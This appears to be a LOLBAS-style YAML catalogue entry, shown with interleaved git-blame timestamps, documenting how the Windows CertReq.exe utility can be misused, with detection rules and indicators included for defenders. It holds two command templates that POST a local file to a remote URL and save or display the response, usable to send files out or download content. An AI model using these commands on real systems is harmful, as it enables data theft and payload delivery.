2020-07-07 22:09:06 +02:00
---
Name : CertReq.exe
Description : Used for requesting and managing certificates
2025-01-28 12:15:01 +01:00
Author : David Middlehurst
2021-01-10 16:04:52 +01:00
Created : 2020-07-07
2020-07-07 22:09:06 +02:00
Commands :
2025-01-28 12:15:01 +01:00
- Command : CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE} {PATH:.txt}
Description : Send the specified file (penultimate argument) to the specified URL via HTTP POST and save the response to the specified txt file (last argument).
2020-07-07 22:09:06 +02:00
Usecase : Download file from Internet
Category : Download
Privileges : User
MitreID : T1105
2023-02-25 20:19:22 +01:00
OperatingSystem : Windows 10, Windows 11
2025-01-28 12:15:01 +01:00
- Command : CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE}
Description : Send the specified file (last argument) to the specified URL via HTTP POST and show response in terminal.
2020-07-07 22:09:06 +02:00
Usecase : Upload
Category : Upload
Privileges : User
MitreID : T1105
2023-02-25 20:19:22 +01:00
OperatingSystem : Windows 10, Windows 11
2020-07-07 22:09:06 +02:00
Full_Path :
- Path : C:\Windows\System32\certreq.exe
- Path : C:\Windows\SysWOW64\certreq.exe
Detection :
2023-10-18 17:30:34 +02:00
- Sigma : https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_susp_certreq_download.yml
2020-07-07 22:09:06 +02:00
- IOC : certreq creates new files
- IOC : certreq makes POST requests
Resources :
- Link : https://dtm.uk/certreq
Acknowledgement :
- Person : David Middlehurst
Handle : '@dtmsecurity'
